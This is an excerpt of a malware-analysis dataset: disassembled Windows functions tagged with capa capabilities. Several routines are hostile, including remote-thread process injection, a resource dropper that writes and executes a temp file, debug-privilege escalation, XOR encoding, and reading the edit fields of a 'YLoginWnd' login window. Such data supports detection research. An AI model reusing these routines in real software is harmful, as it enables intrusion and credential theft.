joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7f3e00
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x8098f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
mov ecx, dword [esp + 0x1c]
push esi
mov esi, dword [esp + 0x24]
lea eax, [esp + 4]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push esi
push ecx
mov dword [esp + 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
je 0x7f3ed2
lea edx, [esp + 0x24]
push eax
push edx
call fcn.007f07a0
add esp, 8
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], edi
cmp eax, edi
je 0x7f3e61
mov edx, dword [eax]
jmp 0x7f3e63
xor edx, edx
xor ecx, ecx
push edi
xor eax, eax
push edx
push ecx
mov ecx, dword [esp + 0x38]
push eax
lea eax, [esp + 0x1c]
mov edx, dword [ecx + 4]
push eax
push esi
push 2
push edx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.007f2050
mov eax, dword [esp + 0x44]
add esp, 0x20
cmp eax, edi
mov dword [esp + 0x1c], 0xffffffff
je 0x7f3ebf
mov esi, eax
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x7f3ebf
cmp esi, edi
je 0x7f3ebf
mov ecx, esi
call fcn.007eba00
push esi
call fcn.007f91c8
add esp, 4
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
push edi
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.007f0990
add esp, 0xc
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
cmp eax, edi
je 0x7f3ef5
mov eax, dword [eax]
jmp 0x7f3ef7
xor eax, eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x2c]
push ebx
push esi
push eax
push ecx
push edx
call fcn.007ef640
add esp, 0x10
mov bl, al
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x2c]
cmp eax, edi
je 0x7f3f25
mov eax, dword [eax]
jmp 0x7f3f27
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [esp + 0x2c]
mov dword [esp + 0x20], 0xffffffff
cmp esi, edi
je 0x7f3f76
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x7f3f76
cmp esi, edi
je 0x7f3f76
mov eax, dword [esi]
cmp eax, edi
je 0x7f3f5d
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
cmp eax, edi
je 0x7f3f6d
push eax
call fcn.007f91c8
add esp, 4
push esi
call fcn.007f91c8
add esp, 4
mov ecx, dword [esp + 0x18]
mov al, bl
pop ebx
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x7f3f90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push ebp
push esi
push edi
xor edi, edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
mov esi, dword [esp + 0x21c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x7f3ffb
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x7f4035
lea edx, [esp + 0x10]
push esi
push edx
push SysStringLen
call fcn.007f3e00
add esp, 0xc
lea eax, [esp + 0x10]
inc edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
test eax, eax
je 0x7f3fc5
mov edi, 0x80e8b0
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x7f4035
mov edx, dword [edi]
push esi
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.007f3e00
add edi, 4
add esp, 0xc
cmp edi, 0x80e8c0
jb 0x7f4000
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x208
ret

Function at 0x7f4070
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x250
push esi
push edi
mov edi, dword [esp + 0x25c]
push 0x5c
push edi
call fcn.007fa082
mov esi, eax
add esp, 8
test esi, esi
je 0x7f4107
lea eax, [esp + 8]
mov word [esi], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x7f4102
push ebx
lea ebx, [esi + 2]
push ebp
lea ecx, [esp + 0x3c]
push ebx
push ecx
call fcn.007f9946
add esp, 8
test eax, eax
je 0x7f40e3
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea edx, [esp + 0x10]
push edx
push edi
call ebp
test eax, eax
je 0x7f40e8
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.007f9946
add esp, 8
test eax, eax
jne 0x7f40c5
mov word [esi], 0x5c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp word [esi], 0
pop ebp
pop ebx
je 0x7f4102
pop edi
mov al, 1
pop esi
add esp, 0x250
ret
mov word [esi], 0x5c
pop edi
xor al, al
pop esi
add esp, 0x250
ret
Function at 0x7f4f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x8099fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x7f5002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.007f8dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x7f5002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.007f06e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.007f920b
push 0x10
call fcn.007f91d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x7f4fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.007e51c0
jmp 0x7f4fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.007f4b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x7f4ff0
mov ecx, edi
call fcn.007e52c0
push edi
call fcn.007f91c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x7f5021
inc ebx
cmp ebx, 0x20
jb 0x7f4f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x7f6250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x80a808
push 0x7fa288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x7f6329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x7f6329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.007f91d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0x7f6329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0x7f6329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0x7f632c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.007f6351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7f6d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x7f6d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x7f6e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7f6ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x7f6eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x80f320
push ecx
mov dword [esp + 0x1c], 4
call fcn.007f8dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x7f6eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x7f6e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc

Function at 0x7f7000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x7f7131
push esi
call fcn.007fa145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.007e9080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x7f7131
push 0
push ebp
call fcn.007e93a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.007e9260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x7f708b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.007e92f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x7f7121
push 0x80f918
push edi
call fcn.007f83f0
push eax
push ebx
push esi
call fcn.007f6f60
push 0x80f8f8
push edi
call fcn.007f83f0
push eax
push ebx
push esi
call fcn.007f6f60
push 0x80f8d8
push edi
call fcn.007f83f0
push eax
push ebx
push esi
call fcn.007f6f60
push 0x80f8c0
push edi
call fcn.007f83f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.007f6f60
push 0x80f8a0
push edi
call fcn.007f83f0
push eax
push ebx
push esi
call fcn.007f6f60
push 0x80f888
push edi
call fcn.007f83f0
push eax
push ebx
push esi
call fcn.007f6f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x7f81b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.007f8140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.007f8140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.007f8140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.007f8140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x7f8bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7f8c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x80a87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x7f8c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x7f8c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x408916
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
push edi
pop edx
call fcn.00408941
add edx, 0x53db427e
xor dword [ebx], eax
or edx, edx
and edi, edx
add ebx, 1
cmp ebx, ecx
jne fcn.00408916
ret

Function at 0x408941
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
call fcn.00408970
add ecx, 0x55288afe
xor dword [edi], esi
mov ecx, 0x5c4050f1
sub eax, eax
inc edi
sub eax, 0x49dcb301
dec ecx
cmp edi, ebx
jne fcn.00408941
sub eax, 0xbff70515
or eax, eax
ret
Function at 0x401500
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
mov ecx, dword [esp + 0x18]
push ebx
push ebp
push esi
lea eax, [esp + 0x24]
push edi
xor esi, esi
push eax
push ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x28]
push edx
push esi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
je 0x40163a
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualAllocEx
push str.KERNEL32.DLL
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.VirtualFreeEx
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call ebp
test ebx, ebx
mov dword [esp + 0x1c], eax
je 0x40163a
test eax, eax
je 0x40163a
mov esi, dword [esp + 0x30]
mov eax, dword [esp + 0x38]
push 0x40
push 0x3000
lea ecx, [esi + eax + 3]
push ecx
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40163a
mov eax, dword [esp + 0x2c]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [esp + 0x10]
push edx
push esi
push eax
push ebx
push edi
call ebp
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
add esi, 4
lea ecx, [esp + 0x10]
and esi, 0xfffffffc
push ecx
add esi, ebx
push edx
push eax
push esi
push edi
call ebp
lea ecx, [esp + 0x14]
push ecx
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, eax
push 0xffffffffffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
lea edx, [esp + 0x18]
push edx
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [esp + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push 0x8000
push 0
push ebx
push edi
call dword [esp + 0x2c]
push edi
call esi
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret
Function at 0x401650
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x19c
push ebx
push ebp
push esi
push edi
push str.User32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov ecx, 0x67
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, 0x401870
push str.SendMessageTimeoutA
push ebx
sub ebp, 0x401800
call edi
mov esi, dword [esp + 0x1b0]
mov dword [esp + 0x1c], eax
push esi
call dword [sym.imp.USER32.dll_IsWindowUnicode]
test eax, eax
je 0x4016cb
push str.GetWindowLongW
push ebx
call edi
push str.GetClassInfoExW
push ebx
mov dword [esp + 0x1c], eax
call edi
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
push 0x40
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
jmp 0x4016f4
push str.GetWindowLongA
push ebx
call edi
push str.GetClassInfoExA
push ebx
mov dword [esp + 0x1c], eax
call edi
lea ecx, [esp + 0x2c]
push 0x80
push ecx
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0xffffffffffffffe0
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0xfffffffffffffffa
push esi
mov word [esp + 0x2c], ax
call dword [sym.imp.USER32.dll_GetWindowLongA]
xor ebx, ebx
mov dword [esp + 0x28], eax
push ebx
push esi
mov dword [esp + 0xe4], ebx
mov dword [esp + 0x1b0], 0xc8
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x40173f
mov dword [esp + 0x18], ebx
lea edx, [esp + 0x10]
push 0x19c
push edx
push ebp
push 0x401800
push esi
call fcn.00401500
add esp, 0x14
test eax, eax
jne 0x401793
mov eax, dword [esp + 0x1b8]
cmp eax, ebx
je 0x401769
mov dword [eax], ebx
mov edi, dword [esp + 0x1b4]
cmp edi, ebx
je 0x40177d
mov ecx, 0xc
xor eax, eax
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1bc]
pop edi
pop esi
pop ebp
mov byte [eax], bl
xor eax, eax
pop ebx
add esp, 0x19c
ret
mov edx, dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b4]
cmp edx, ebx
je 0x4017b5
mov ecx, 0xc
lea esi, [esp + 0xac]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
cmp eax, ebx
je 0x4017c2
mov ecx, dword [esp + 0xdc]
mov dword [edx], ecx
mov esi, dword [esp + 0x1bc]
lea edx, [esp + 0xe0]
push 0xc8
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov byte [esi + 0xc8], bl
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x19c
ret
Function at 0x401880
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40427a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x405370
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 0x20], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x20], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x44]
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x20], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x4c]
mov byte [esp + 0x20], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x50]
mov byte [esp + 0x20], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov dword [esi + 0x2c], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x24], 6
mov dword [esi], 0x40535c
mov dword [esi + 0x28], eax
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xc], edi
cmp eax, edi
je 0x401938
lea ecx, [esi + 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x40], eax
push 0x4075d8
mov ecx, ebx
mov dword [esi + 0x54], edi
call sub.MFC42.DLL_CString::operator
push 0x4075d8
lea ecx, [esi + 0x50]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x2c]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
mov dword [esi + 8], 1
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x30], edi
je 0x401991
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4019a5
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4019bc
mov edx, dword [esi + 0x34]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x38]
lea eax, [esp + 0x14]
push eax
push 0x3e8
push 2
push edi
push edi
push 0x303
push ecx
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc
Function at 0x4023f0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push 0x4071cc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x402412
pop edi
pop esi
pop ebp
ret 8
mov ecx, dword [esp + 0x14]
push 0x4071c8
and ecx, 0xffff
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x402436
pop edi
pop esi
pop ebp
ret 8
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x40244b
pop edi
pop esi
pop ebp
ret 8
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402472
push ebp
push 1
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
test esi, esi
pop ebx
pop edi
pop esi
pop ebp
setne al
ret 8

Function at 0x402490
Capabilities:
Create process on windows
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x404430
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString_2
push 0x100
lea ecx, [esp + 8]
mov byte [esp + 0x18], 1
call sub.MFC42.DLL_CString::GetBufferSetLength
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 5
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::LoadStringA
lea eax, [esp + 8]
push eax
call fcn.00401410
add esp, 4
lea ecx, [esp + 8]
push ecx
lea ecx, [esp + 8]
call fcn.00403c94
mov edx, dword [esp + 4]
push 0x521
push edx
mov ecx, esi
call fcn.004023f0
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 4]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0xb
pop esi
jne 0x402563
mov edx, dword [esp]
push 5
push 0
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 4]
mov byte [esp + 0x10], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp]
mov dword [esp + 0x10], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 8]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x14
ret